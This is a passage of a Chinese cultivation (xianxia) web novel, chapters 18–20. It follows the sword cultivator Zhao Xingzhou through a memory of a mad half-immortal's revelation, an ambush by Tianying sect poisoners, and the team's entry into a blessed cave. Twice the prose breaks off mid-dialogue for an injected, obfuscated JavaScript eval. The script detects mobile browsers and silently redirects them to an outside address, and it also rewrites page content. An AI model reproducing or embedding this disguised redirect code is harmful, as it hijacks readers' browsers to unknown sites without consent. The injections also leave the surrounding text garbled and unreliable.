钟枫离自始至终看不清那人的身形,亦根本看不清观战台那二人的招式,然而却清楚的记得,仅三个呼吸,最多三个呼吸!玄元门刘正云手持长矛暴退出去,而后一脚踏在观战台最边缘,将那处坚硬的玉石台踏得几乎粉碎,漫天尘土飞扬起来,这才勉强止住自己后退的身形! 亦清楚记得,此人出招前漫天纷飞的火元素,全在他出招的一瞬间消失地干干净净。一腔剑意收敛于全身,连同天地间所有的山风和火色,都在他出剑的这一刻,尽为他所用。 几秒后,尘土即将散去,一个男人的嗓音传出。那人携剑向前走,步态不快,风骨里都透着不羁,直至走出烟尘,才道,“我赵行舟此生最听不得的就是规矩和管教,阁下即要立规,不妨赐教一番?” 那年钟枫离十七岁。他第一次知道,原来修真界只有少数的剑修,会具备这样越级的实力。 而后他便又想,若有朝一日也能像此人这般令世间惊动茫然…… 一次,哪怕只有一次。 也算不枉此生了吧。 18. 第 18 章 钟枫离和沈文峥谈话声音很轻,并没有刻意避人耳目,稍留下心就可以听清楚。 不过没人细听。 当钟枫离还在思考如何带领团队杀进第二轮时,赵行舟已经在想怎么应付第四轮了。 此地的规则赵行舟很熟悉。前二轮是团体行动,没什么难度;第三轮起队伍被打散,入境人可以选择和信任的人再次组队,或是单独行动,这对他而言更有利。第四轮终试则是他此行的真正目标,也是伤亡率最高的一环。他如今修为尽失,想在终试优胜出局希望渺茫,但若只为全身而退,不算没有余地。 由于修真界真正参与过四轮终试且活下来的人并不常见,所以大概鲜少有人知道,参与终试不仅可以抢夺神器,还有极小的概率获得一次天道启示。 传说这道启示通天,会直接指明修仙飞升的必经路。 赵行舟生前不巧就被传说砸中过一回。他曾在终试之地误入过一处福地洞天,偶然得到的启示却是个死局。天道寥寥一行字,写着“若修剑道,必以身祭天。” 正逢最年少轻狂的岁月,赵行舟看了只觉得有意思,拔剑便对着天上那行字横扫了一下。他本想将其当作一个恶劣的玩笑抛之脑后,不成想竟把这句话像水花一下打散了。 而后出现一个人。 此人样貌大约中年,头上束着古朴的青色发冠,仙气环身,衣着轻飘的暗色道袍,双手交叠拢于袖中,凭空出现在一旁。他与赵行舟一同看着金字渐渐隐去的虚空处,突兀道,“这启示不完整,后面还有半句话。可惜现在还不是时候,你看不见。” 赵行舟反应极快,瞬间引剑后撤出去,同时也是心惊。在修为完全受压制的秘境中,按理说不该存在这种毫无声息就能靠近他的人。可此人却好似压根不受秘境规则的约束,把右手伸出袖子,并拢双指迎面一点。区区一个最普通的定身咒,就令赵行舟如遭重击般僵在原地,再难挪动分毫。 突然出现的人见赵行舟的反应,很没有前辈风度地笑了笑,“倒是敏锐。可惜天不眷顾,是个短命鬼。”又笑着以双指指向散去金字的方位,“你小子,天道都敢以剑相指,你也不怕遭天谴?” 话中完全听不出可惜的意味,反倒像在说风凉话。被定在原地的赵行舟冷笑了一下。 道袍男子却意会了他的意思,稀奇道,“常人若见此天启,不说当场道心破碎,至少也该萎靡不振一段时间,生出些心魔来才像样子。你倒好,不仅不把天道放在眼里,连我的话也不能动摇你。……该说你命薄还是命硬呢?怪哉。”说着,将双手交叠收拢于袖中,游魂似的飘近了几寸,心血来潮道,“来,且让贫道来相相面。” 赵行舟冷静地审度着形式。此人不似活人,也没有鬼域的阴气,但境界奇高。他见识过虚微子的道行,这位只会在他之上。就算不是正仙,也至少是个半仙了。 正面对抗没有胜算,他也不至于不自量力到这种地步。当务之急是解去定身咒。赵行舟虽猜不透眼前人突然出现目的是什么,但既然对方没有表露出明显的恶意,就是有机会。 赵行舟这边盘算着脱身之道,道袍半仙却当真专注于给他相面了。看了一会,煞有介事点评道,“天庭饱满,印堂坦荡,皮骨不凡……嗯,眉毛青黑疏长,双目清利含光,鼻梁高而运通,倒是天眷鸿运之相……等等?”说到最后回过味来。这面相分明是极好,要说飞升剑仙也是指日可待,离短命相八杆子打不着,怎得……?半仙像是不信邪,嘴里嘀咕一通,手指迅速掐了几下,又低头演算起来。 忽然半仙神情一变,有些震惊地抬头看向赵行舟,莫名其妙问出一句,“你……可认得藏明月?” 藏明月?自然认得。千年前飞升而去的正道第一人,传奇故事不计其数,修真界不知道他的反而在少数。说起赵行舟与此人还有那么点隔空的缘分,他的成名技鸿蒙日炎真诀的创始人便是藏明月;而他在秘境中偶得一本手抄的法诀秘本,其撰写人也正是藏明月。 可这半仙突然问这个做什么?总不会是眼红那本手抄册子。 不等回答,半仙已经知晓答案。他维持着掐指的动作,目光一变再变,最终像是想起一些往事,以一种颇为复杂的神情静立住了。赵行舟把握住此人刹那间的恍神,引飞剑一扫斩断二人之间无形的绳索,立刻疾撤出去十丈远。半仙却仍沉浸在自己的情绪中,对赵行舟挣脱束缚浑不在意,片刻后苦笑一声,“或早或晚罢了,命该如此,命该如此啊。” 赵行舟脱身之后,对其道,“我不信命。至少不会这样认命。” 被打断思绪的道袍半仙一怔,“什么?” 空中一行天启不知何时落于掌心,他只看了一眼,便道,“修行一途是逆天而行,若被一句话就否了,倒不如一开始就不要入门。”随后收了手,又道,“这剑道我无论如何也走得,与旁人无关,与天更无关。” 当时这番话说得很平静,可听在道袍半仙的耳朵里,却像是没听懂此人在说什么一样。半仙愣愣地看着他,忽而从喉咙中溢出一声轻哼,开始是低声的笑,而后转为大笑,最后笑声几乎显得尖锐刺耳起来。他丝毫不顾形象地捂着腹部躬身下去,像是听到了一个千年难遇的笑话,笑得浑身缠绕的气抖动不停,身形都开始模糊。 足足半柱香后,半仙用手抹去眼角根本不存在的眼泪,喘不匀气似的说,“逆天而行,哈哈哈,好一个逆天而行。……你怎么会这么想呢,这天选之子贫道见得多了,你又以为自己是谁?说什么逆天而行,修行最终为了飞升,飞升后还不就是给这老天爷做一条狗吗!哈哈哈,你倒还想作起自己的主来了,今儿个真是笑死贫道了。难怪会选你,难怪会选到你。” 这半仙状若疯癫的模样令赵行舟皱了下眉,他对此人没头没尾的话没兴趣,也没有追问的打算。于是开始思考离开此地的办法。不料半仙看出了他的意图,笑得更厉害了,连同表情都有些扭曲。他虚空对着赵行舟抓了一下。 “贫道今日便从你这取走一些东西,算作替你存着。我倒要看看你想如何逆天而行,有意思,真是有意思。他日你若活得下来,意欲取回,贫道在这里等你来拿便是。” 视界随即模糊起来。退出福地洞天的最后一刻,半仙还在笑着向他招手,“你且记住,这启示的关键不在‘天’,在于‘祭’,在于‘祭’啊!……” 而今,已经过去一百多年。 赵行舟翻过手掌,掌心那行天启早已没了,手腕内侧一个金色的控字若隐若现。 他虽不知那个疯子当年从他这里取走了什么,但他眼下这种奇怪的状态,与此人应该脱不开关系。 行走途中无意间瞥到旁边人的手腕。让天字一榜杀位第一人过来补生位,多少有点不择手段了。奈何当时时间紧迫,也想不了那么多。 而后赵行舟又感到稀奇。于他印象中,进攻位的剑修通常都对辅助类法诀有些不以为意。更别提凌绝峰的剑修,估计整个山头凑不出一句生位的法诀。于是赵行舟好奇道,“所以你兼修过生位的法诀?什么时候学的。” “没学过。”陈时易反问,“我兼修生位做什么?” “那你怎么进来的?”赵行舟愕然指向他手腕那个字。秘境补位的前提是,入境人一定能施展出相应位置的法诀才会被秘境认可的,否则队牌根本不会与神魂结合,更不可能入内。 陈时易知道他想问什么,“没学不代表我不会。区区生位法诀,现作就是了。” 好,不愧是师出同门,有够自信。赵行舟点了点头,继续闲聊,“那鸿蒙日炎真诀总不可能也是你现学的吧。” “那自然不是。”陈时易顿了顿,似想起了什么,扫了他一眼。 “所以你怎么学的?”赵行舟好奇,“鸿蒙日炎真诀是控位最高阶法诀之一,仙火根修行起来都步履维艰,怎么你一个雷水双行可以用得如此轻车熟路。”言罢,见对方不予搭话,又调侃起来,“我生前同样风火双行,却不曾学过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437508|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么水系雷系的杀诀。莫非是谢海生偏心,只教了你?” 陈时易不答反问,“谢海生乃风水双根,怎么会教鸿蒙日炎真诀?” 赵行舟一愣,想想还真是。正因为谢海生教不了火系高阶剑诀,当初鸿蒙日炎真诀貌似就是他自学的。 可照这个思路来看,陈时易的鸿蒙日炎真诀莫非是他教的,可他闲的没事教他这个干嘛? 不等证实,陈时易又扫了他一眼,道,“说什么不曾学过杀诀,你每日就差把控位天下第一写在脸上了。纵使别人教你,你学吗?” …… 该说此人不愧是被他祭了一剑师弟,确实了解他,就是这种目无尊长的作风也不知道是跟谁学的。 赵行舟摇摇头,不再细想,顺手扯下几根半长高的细草,还有路边的藤条。 细草名为素禾,是溪珏城随处可见的一种杂草,草体呈枯绿色,不能食用,末端尖锐,扫在皮肤上有刺痛感。藤条则是普通藤条。赵行舟走了一路扯下许多植物茎杆,手上动作不停。 众人走到一处小溪旁,见到一棵比刚才还大的榕树。钟枫离对沈文铮道,“我们已经进入外城区域,随时都有可能遇到对手。我建议驻扎此地,再想对策。” 沈文铮表示同意,二人带头坐下休整。鹊妖渴得不轻,一股脑扑到小溪旁,大口喝水。花妖阿珏则坐在一旁大石头上,颇有兴趣地看着赵行舟手上的动作。 “你在做什么?” “编草绳。”赵行舟头也不抬。 阿珏往旁边一看,此人身边果然摆着几条植物做的细绳,只是手艺不行,到处呲毛,看上去粗糙得很。 “你编草绳做什么?” “有用。” 其实是以他目前的修为无法将剑纳入识海——那是化神境剑修才能做到的事。他又不像沈文峥二人那样有昆仑统一产出的剑带,可以妥帖舒适的把剑挂在身上。于是在路上编了几根草绳,打算用此将惊春背在身后,比较便携。 阿珏故作不满,“喂,你对你的救命恩人态度也太冷淡了吧!” 赵行舟抬头,“所以你想怎么样?” “我问你几个问题,你要好好回答,不能骗我。”阿珏转而笑嘻嘻道。 赵行舟把几根缠紧,熟练且潦草地拉了个结扣,“你先问,我再考虑要不要回答你。” 阿珏对他这种态度不以为意,歪着头想了一会,“你是昆仑的门下侍,理应对昆仑很熟,对吧?” “还行,怎么了?” 阿珏伸出一根手指,两片花瓣顺着她的指尖化形,上扬又飘落。她指着赵行舟道,“你可认得一个叫阿宝的剑客?” 阿宝?回忆了一下没印象,赵行舟转头问陈时易,“昆仑有这么号人物?” 陈时易道,“我只知道阿福。” 赵行舟意会笑了,“我记得阿福,养在观云峰的那只胖猫?以前无聊想抓来养几天,结果半夜挠得我满脸血道子,脾气也太差了。” 陈时易闻言也是几乎笑了,“猫你都记得。” 赵行舟手上动作一顿,感觉这明显是话里有话。于是低头继续编串起来。 这个话题就此打住。 阿珏见无人认识阿宝,又恢复了原来百无聊赖的模样。她用伸出来的一根手指控制着两瓣桃花,像牵线似的在空中飞一阵飘一阵,花瓣越过鹊妖,逐渐隐没在树林深处。 鹊妖疑惑地从水中抬起头来。他没什么特殊本事,唯独天生对危险敏锐,几乎成了一种本能。刚刚在喝水间隙,他没由来得觉得后脖子一阵冰凉,左右一看,丛林中看见一抹寒光。 与此同时,丛林中传来一声极细微的碰撞。有毒刺穿破了娇嫩的桃花瓣,使得那根毒刺稍微偏离飞行轨迹,擦着鹊妖的脖子过去,留下一道血痕。 阿珏收回手指,看了一眼旁边稳坐的黑衣男人,饶有兴趣。 下一秒,溪水旁响起杀鸡一样的尖叫声,“敌袭啊——!!” 19. 第 19 章 两位剑修一惊,不曾想敌袭来得这样出其不意。 最先有动作的是沈文铮。她起身同时引剑出鞘,以剑护于队伍前方。钟枫离紧随其后,踏地捏剑诀向前刺去。剑从身后飞跃而出,挥扫打落溅射过来的五个小毒刺。 鹊妖的伤口处又麻又痛,回头欲跑回去求救,没走几步又顿住。 众所周知,修复类法术是生位的精修,通常在队伍中起到救死扶伤的作用。可他们队里的生位不是一般的生位,身上煞气杀生无数的大妖都要重上许多,和这种人求助真的可行吗? 鹊妖又一想,自己处境应该不会更差了,到底是被秘境承认过的位置,万一此人才能与外表并不相称也未尝可知呢? 作一番心理建设后,鹊妖抵抗着本能,对黑衣人谄媚搓手一笑,“大侠,您看我这伤,有没有可能……” “救不了。” 鹊妖,“啊?” “听不懂?” “得嘞。” 鹊妖跑了,动作比没中毒时还利索。赵行舟沉默不语,看向身边人,心想最简单的解毒术都不会,你还跟我说你能扛生位? 不成想陈时易隔着面具与他对视了一眼,对他的质疑不以为意。 二人和花妖一直坐着没动,前方两位已经打过一轮。丛林中现一阵鼓掌声,有人笑道,“文铮真人果然厉害,招式可谓滴水不漏。旁边这位,我若没看错,应该是昆仑的雷颂剑,钟枫离真人,对吧?二位都是昆仑翘楚,我方虽有先手之机,却不能奈你们何,可配可敬。” 言罢,又叹着补了一句,“只是,可惜了……” 陆续有人从林中走出来。为首四个人身着统一的青色锦装,袖口暗纹如鹰翅,鼓掌人正是其中之一。钟枫离和沈文铮收剑拢于身侧,钟枫离低声对她道,“当心,是天鹰教的人。” 沈文铮点点头,目光迅速从对方队伍穿梭。对方一共八人,金丹期有四位。论修为她不怕,但若论队伍人数,她们不占优势。化神之下,人类修士因有宗门传承,会比同等级的妖族更占优势。她隐约能猜到天鹰教这一句“可惜了”指的是什么。 果然,就听对方天鹰教为首那人畅笑一声,摇头道,“可惜了,你们身昆仑金丹剑修,却偏要自降身价,与妖物同流合污,真是白瞎了这天赐的大机遇。当然了,遇到我们天鹰四杰,你们也算输得不冤。” “天鹰四杰?”沈文铮皱眉,感到一丝茫然。对方看样子对她和钟枫离,乃至整个昆仑都十分熟悉,可她对这几人的认知,却只停留在知道天鹰教善用毒器的层面上。于是她低声询问,“钟兄可曾听过这什么‘四杰’?” 钟枫离摇头道,“闻所未闻。” 二人嗓音颇浅,言语中丝毫没有如临大敌的危机感,在敌方听来无异于一种挑衅。为首那人笑容渐渐沉下来,眼神来回在沈钟二人身上打量,“倒要看你们还能能耐到几时。”随即对身后几人低声嘱咐,“三个妖类都是累赘,剩余一个,看服饰就知道是江湖散修,不成气候。昆仑剑修纵使再能打,也不过就两个人,两个人能掀不起什么风浪来?按我之前说的顺序包围他们。” “是!” 接到指令,丛林八人有目的的四散开。沈钟这边队伍毫不慌乱,各干各的,唯独鹊妖受惊过度,双臂迅速覆盖上羽毛,一副随时准备跑路的斗鸡模样。 天鹰四杰先一步包围住沈钟二人,剩余四个修真散士分散奔向后方,打算一对一击溃。 “师弟们,今日打赢昆仑的沈文峥,天鹰四杰便可一战成名,他日昆仑人再难在我等面前抬起头来!” “是!” 四人的喊声还未落地,被一个女人轻轻的笑声打断。 榕树下坐着一个女子,一枝鲜桃花斜插入浓密的发髻中。她单手指着天鹰四人,像听了笑话,头上桃花枝颤个不停,“你们四个人打人家一个,还妄想一战成名,成什么名,厚天下脸皮之大极的名吗?”她笑着摸了摸眼角根本不存在的泪花,“果然论起不要脸,还是你们人类最不要脸。” 被嘲笑的天鹰四人似戳到痛处,脸色一变。为首那名男子脸色差到极点,扭头对剩下四个散修咬牙道,“杀了那个女妖,割了她的妖舌,我许你们一人一颗小还丹!” 散修们双眼立刻亮起来。小还丹有解百毒,通筋骨之效。虽然只是最低级的地级灵药,却仍是几人寻常修行中难得一见的良药。 杀气自散修的兵器蔓延开,鹊妖见状,顾不得抵抗自己身上的毒素,一展翅飞到最高的树梢上,欲哭无泪地念叨起来,“各位大爷大师,我不过一只中了毒的废鸟,今日你们且饶我一命,全当我不存在。” 又愤愤道,“这下真要被这个树妖害死了,也不知队里死几个人才能把小爷我从这个鬼地方传出去……” 花妖阿珏则挪了几步,一转身蹲到赵行舟和陈时易二人身后,举手装作无奈道,“这些打打杀杀的我不在行,只得拜托二位出手,保护一下我啦。” 这讨饶一听就假。花妖说完话便站到千奕躲的那棵树下,笑盈盈地和前方打斗区划清界限。赵行舟扫了她一眼,摸不清这花妖的目的。 前面打起来了,他的视线又落回到沈钟二人的身上。观察了一番二人的打斗招式,与旁边人聊起来。 “底子不错,怎么招式搭得乱七八糟的。”赵行舟皱眉看向缠斗中的一方,“天火根修纯控位不好吗?偏要去辅修杀位,搞得现在专精不足,形散意乱。她师傅是谁?” 与赵行舟散漫的坐姿相比,陈时易端正得多,“虚微子吧。” 赵行舟恍然,“难怪。”又道,“法修教不了剑修,任凭他本事通天也不行。可惜。” 这话说得很不知天高地厚,却不想和他对话的人说话比他还不中听,“通天不至于。” 上面这两点评若是被任何一个现存的昆仑弟子听见,恐怕都恨不得将这两个狂徒逮出去,一剑捅十个对穿,方能解诋毁掌门的心头之恨。 可惜他俩不是别人,此处也无第三人能听见。 再看了三招,赵行舟问,“哎,你也是一峰之主了,怎么至今没有收徒?” “为何要收。”陈时易面具微微转向旁侧,“换作是你你会收?” “不好说。天火根罕见,这小姑娘又难得是个适合修控位的。若百年前我没……”赵行舟单手搓着下巴想了一下,“可惜我没那么多当师傅的耐心,收了也未必会比谢海生更负责。唉,多半是不会的。” 旁边嗯了一声,也不知道是什么意思。赵行舟手又指向另一侧,“这位倒是纯杀位了,也不知他的师傅是谁?” “我怎么知道。”陈时易淡淡道,“真够弱的。” “紫霄峰不是养剑的地方,你看某人那德行就知道了。”赵行舟对着钟枫离藏青色的绣纹内衬指指点点,“左右你眼下也没有徒弟,此人又是雷根,不如抽空指点一番?” “教不了。” 散修四人杀至眼前,二人却还跟唠家常似的。赵行舟右手双指夹住挥过来的一把短剑,令那人不能抽动分毫,笑道,“不要拒绝得这样干脆。你眼下剑道造诣这么高,适当指点下后辈也没什么的,全当帮天茂一个忙呢?” 另一方两段兵器也已近身,陈时易左手虚立双指,听闻赵行舟这样说,不由得冷笑了一声,随即双指隔空轻轻一弹。 左侧袭来的二人身形一滞,瞬息间以难以捕捉的速度暴摔出去,如割草般一闪撞断了十余棵大树。 树冠相继倒下,发出轰隆的震鸣。 人没有再从林中走出来,也不知是晕了还是死了。此一举不仅令天鹰教四人停下了手,惊惧地看着这个方向,更是连同沈钟二人都陷入呆滞。 陈时易收手而坐,“教不了就是教不了。怎么,你在昆仑找张天茂帮忙的时候,没想起来我比他厉害吗?” 赵行舟:“……” 后面战局没什么悬念,沈钟二人乃金丹高阶,想打赢四个金丹初阶的修士不困难,何况对面的战意还没怎么高涨起来,就被刚刚那一下弹指弹了个稀碎。 赵行舟从叫嚣着要“一战成名”的那人手腕上收集到队牌。金光从八个人身上逐一绽开又消失,不论生死,总之是被传出去了,看得榕树上的鹊妖一阵眼红一阵眼绿。 目送最后一人被传出去,鹊妖抹了把心酸泪,“好歹给颗解毒药再走啊……” 沈钟二人在这一役中并未挂彩,便没有治疗的需求。 钟枫离看了一眼陈时易的方向,刚刚那种极度危险又莫名熟悉的感觉又卷土重来了。他欲言又止,有些错乱,开始绞尽脑汁地回忆:莫非眼前的黑衣人是竟他现世中认识的某个前辈不成?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437509|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而沈文铮则没想那么多,她惊异于此人的实力强横,但对此人不精通生位并不吃惊。毕竟这整个队伍本就是临时拼凑的。若非这小树妖动作快,她连入境机会都没有,所以也没有要强求别人履行职责的意思。她冲鹊妖招了招手,“你下来,我替你解毒。” 鹊妖自然愿意听沈文铮的话,十分狗腿地凑到她跟前,眼睁睁看着她掏出一颗药丸。 接过药丸,鹊妖挠头谄笑,“小的不才,看不出这是什么药,只觉得模样有些像大还丹……” “这就是大还丹。”沈文铮道。 “啊?”鹊妖愣了一下,随即护着胸口倒退三步。“给,给我?” 大还丹!人级灵药,比小还丹高了一整个品级,不仅有解毒通气的效用,甚至对吸收灵气都大有裨益!他只是有幸在昆仑炼丹室打杂的时候见过几眼,怎么想的到有朝一日会有人与他分享。 沈文铮点头,将药丢给鹊妖,“原本找你做探位是不得已,没想到你能比我和钟兄先一步发现危险。若这次没你警卫,我们未必能这样全身而退。这药你拿着,大家既然组了队,日后便一起加油。” 昆仑的沈文铮竟然亲口认可他了?何德何能,何其可幸啊!鹊妖激动看着手中,第一次觉得被骗来这个鬼地方也不全是坏事。这颗药粒虽小,他捧着却如同一块烫手山药。鸟生第一次得此神药,下意识便想收藏起来,简直舍不得吃了。 正当鹊妖纠结之际,丛林中又出现人的脚步声。这下所有人都听得清楚。沈钟二人转身戒备,一个年轻的少年声音传了出来,“我怎么瞧着前面的人好似穿着昆仑的衣服……咦?文铮师姐,是文铮师姐!” 呼啦啦一下子从林中跑出好几位昆仑的年轻弟子,看修为都不过筑基中后,仅有一人刚过金丹。有人欢呼起来,“没想到能在这里看见文铮师姐,这下探寻福洞有望了!” 也有人奇怪,“文铮师姐后面怎么还跟了三个妖,难不成是她的队友?不会吧。” 还有一名龙砚峰的弟子小声抱怨,“怎么还有紫霄的人在啊……” 沈文铮喊住最先跑过来的那名小弟子,简单寒暄两句,问到关键处,“你刚刚说要探寻福洞,莫非你们竟发现了一处福地洞天?” “不错!”这名弟子正是观云峰门下弟子,名叫莫莫,此时见到沈文铮别提多高兴了,“我们刚来不多久就发现了一处福洞,本想直接进去探查,但兰铃师姐不同意。”莫莫说着,向另一位花绛峰女弟子示意。 “我们修行低微,兰铃师姐担心福洞有危险,建议再找些援手,一同探寻。可大家都知道,修真界中值得信任之辈哪有那么好找?左右还没讨论一致呢,就在周围听见打斗声。我们寻过来,没想到竟看见了师姐你!看师姐这样子,想必是打赢了吧?” 旁边一人用胳膊顶他,“你这话问得好没脑子。文铮师姐和钟师兄都是金丹高阶剑修,那不是一般的剑修,那可是昆仑的剑修!秘境中顶尖的存在,越级挑战都不在话下。怎么可能输,肯定是赢了。” “就是,就是!” 花绛峰的兰铃便是这个队伍中唯一的金丹初阶修士,她生得貌美,举手间又散发温柔敦厚的气息。钟枫离与此人是旧识。众人七嘴八舌吹捧之际,他遥遥地对着她做同门礼,对方也举手回礼。 一众小弟子七嘴八舌地追问起刚刚的战况,又打听起后面三个妖。在得知其中两个都是昆仑的门下侍后,大家逐渐放宽了心。俗话说肥水不流外人田,福地洞天机缘无数,与其让给交好的外门,倒不如留给自家的妖。 唯独是那个一身黑衣又带着面具的男人,气场太强,看着有些诡异,不像是值得托付之辈…… 听说此人还是文铮师姐队伍里的生位,却连自己队友的毒都不肯解,还要他们温柔美丽的兰铃师姐出手帮忙,实在可恶! 但不知道为什么……一众昆仑弟子看着兰陵给鹊妖施展解毒术,心中虽有怨言,却愣是一个人都没敢抱怨出声。 单那气势就压得在场所有人抬不起头来……更别提给人挑刺儿了。 筑基一众中,人人怀着难言的心思,只有鹊妖美了。有人为他解毒,这颗大还丹也不必再吃。待他日出了秘境,找个合适的黑市倒卖一手,哈! 到时赚他个盆满钵满,还不让这只树妖酸掉大牙! 20. 第 20 章 福地洞天随机散落在秘境各地,有无数远古时期遗留下来的法宝机缘,又分为大福洞、小福洞。 小福洞即无主福洞,是天然形成的福洞,内部的法宝大多破败,不算凶险。 大福洞则为有主福洞,是远古大能死前凭一缕残魂留下的一片小天地。其中暗藏福洞主人留下的考验,凶险有之,所得机缘也说不好。有可能得到洞主的传承一步登天,也有可能只是得到一些莫名其妙的东西。 秘境内,大福洞的数量远远少于小福洞。赵行舟前生探过的福洞不下二十个,大福洞也就三个。 藏明月一个大福洞,给了一本破书;半仙一个大福洞,给了几句疯话。俩人一个比一个修为通天,也一个比一个让人摸不着头脑。 一行十三人由观云峰小弟子莫莫引路进入福洞。眼前景色周边从树清水绿,眨眼转变成一片漫无边际的暗色平原。队伍中有人惊呼出声,便见一轮赭色残月骤然闯入视线。 锋利的勾月挂在极低的地平线以上,几乎占据了近三成的天空,令人胆战心惊。无数残破的兵器像野草一样斜插在地面上,土地泥泞,散发着难闻的腥气。 此处像一个风云诡谲的远古战场,土壤被血浸透,足以窥见当初战况之惨烈。 没人知道这地方战死的究竟都是什么人,亦没人知道这场壮烈的战役是因何而起,因何而落。 入福洞时,人必经过此地。自古以来,无人说得出缘由,渐渐地也就无人再深究了。 再向前看,不远处立着一座破败的院落,大门紧闭,是整片战场中唯一的建筑。 年轻弟子们第一次经历这些,难免兴奋。 有人紧张,有人戒备,更多的是好奇。空气潮湿阴冷,微风一过,皮肤激起一层鸡皮疙瘩。 莫莫走在最前面,觉得很刺激。他想随手捡一把兵器看看是什么宝贝,还没伸手,被身后出现的一人打断,“别动。” 莫莫吓了一跳,下意识看了一眼沈文铮,见她没说话,便转头瞪着赵行舟,“你怎么走路没声音的,很吓人知不知道!” 赵行舟进洞时就看见这小子东瞧西看地不安分,便笑道,“这上面可是有厉魂诅咒的,你不怕被缠上?” “什么?”莫莫愣了一下,不知这妖话是真假,但看此地诡异的气氛,一时也不敢轻举妄动。他东张西望看了一通,不见异动,便道,“我乃昆仑观云峰内门弟子,上能斩妖辟邪,下能除魔卫道,岂会怕区区厉鬼。” 这话调门虽高,听着却没什么底气。赵行舟表情诧异,“你竟要以筑基期的实力硬扛化神期的厉鬼?”然后让开身,“不愧是昆仑内门弟子,当真是厉害。那请便吧。” “化、化、化神?”莫莫结巴了,“哪里来的化神,怎么会有化神?” “能盘踞在此地千年不散的冤魂,至少也是化神了。”赵行舟往更远方看去,无数兵器上凝固着褐色的血迹,语气幽幽,“这玩意儿你碰一下就算是被缠上了。运气好的话,找个化神以上的生位、守位,帮你渡了,倒也没事。运气不好,轻则一死百了,重则做鬼都不得清净。唉,那才惨了。” 眼瞧着小弟子个个听得脸色发白,赵行舟回身,安慰似的拍了拍莫莫的肩膀,“不过没事啊,反正你是勇敢的昆仑内门弟子。化神期才哪到哪,你又不怕。” 莫莫身体僵硬,脸色白里透绿。他不过筑基中后阶,若被化神的诅咒缠上,简直不敢想象后半生会惨成什么死样。更别提找化神以上的修士帮忙。整个昆仑掰着指头都数不上几位的人物,此刻让他上哪去找去? 此妖倒好,把化神以上说得跟地里的大白菜一样,不知道的还以为他是谁呢! 转念一想,对方也不过一个刚刚金丹的植物妖,上哪知道这么多秘密。莫莫强撑气势倒退了几步,指着赵行舟道,“你倒还挺能编故事的,小道我也是见过世面的修士,岂会被你几句话唬骗?”但到底没敢再去碰那兵器,而是回头求助于沈文铮,“文铮师姐,他骗人的吧?哪有这么玄乎的事。” 沈文铮一时拿不定主意。方才莫莫偷拿刀的动作并不突出,包括她在内的所有人都没有留意到。此妖要是不出手相助,也只怪得到莫莫自己不小心,怪不到别人头上去。他会出言提醒,不过就是他乐意。 沈文铮未曾踏足过福地洞天。以前听师姐提起,远没有这么多的细节。眼下她身为昆仑掌门的嫡传弟子,不自觉成为整个队伍的主心骨。众人信服她,认为她可以在关键时刻做出最正确的判断。她只能逼着自己来做判断。 错一步就可能把所有人领入深渊中,这份责任不可谓不重。 她又想到了树妖的秘密。此妖得了心元剑君的传承,虽不知有几成真传,但比旁人多知道一些也是正常。 至于心元剑君…… 沈文铮呼出一口气,“我想他是对的。大家在秘境之中务必要谨慎行事。” 此话一出,立时引来众人的骚动。沈文铮对赵行舟道,“谢谢。却不知还有什么需要注意的吗?” 赵行舟有些意外地看了她一眼,思忖一番,遂指着不远处的院落大门道,“且记住三点吧。第一,这个大门以内的东西是干净的,想拿走各凭本事。第二,大门以外的东西碰都别碰。……” 大部分人认真地盯着他,赵行舟伸出三根手指,“第三,如果在秘境中看到任何尸骨,记住了啊,无论是人是妖是魔,任何尸骨,记得跑远点。” “为什么?”另一名龙砚峰的小弟子忍不住道,“如果我有想要的法器正好穿在某具骷髅身上,难道就只能错过了吗?一定有破解之法才对。” “当然有。”赵行舟道,“和洞主打一架,打赢了东西就是你的了。” 小弟子张着嘴,半天才找回声音,“洞主,打、打、打架?” 赵行舟忽然凑近道,“你信了?” 小弟子一呆,赵行舟微笑,“行走江湖多留个心眼,当心以后被人骗得回不了家。” 言罢不再逗留,笑着推开了院落的大门。 黑衣人走至树妖身侧,莫名撂下一句,“你和小辈倒有话聊。” 树妖笑着摇头,二人隐于门后,不见身影。 众人见有人领路,忙跟着进去了。沈文铮留在队伍最后,被钟枫离唤了一声,方才回神。 她懵懂向前走。 沈文铮并非容易轻信别人之辈,这份信任也不全来自此妖的所作所为。 自习剑以来,心元破法剑诀一直是她的精修方向。她没见过心元剑君本人,只是只言片语听说过赵行舟的一些事迹和传闻。江湖对其评价毁誉参半,昆仑人对此人的感情更是复杂。 相传百余年前,赵行舟在西洲齐云桃源参宴。面对众人莫须有的污蔑指责,他不争不辩,只是散场前笑着掏了掏耳朵,“废话连篇。” 而后面对数大名门口诛笔伐,他不恼反讽,“尔等整日对妖魔鬼怪喊打喊杀,惯以圣人君子自称。在下读书不多,不知圣人君子原来是这副獠牙满面的嘴脸。” 面对围剿,他孤身一人,又道,“我赵行舟今日便叛出昆仑了又如何。想要什么,尽管打赢了我来取,不必再找那些冠冕堂皇的理由了。” 便是最后一战,他仍笑看众人,“人间一游,风光无数。我不虚此行,只是可怜你们这帮人。” “天下不可怜你们,我可怜你们。” 至此一役陨落。 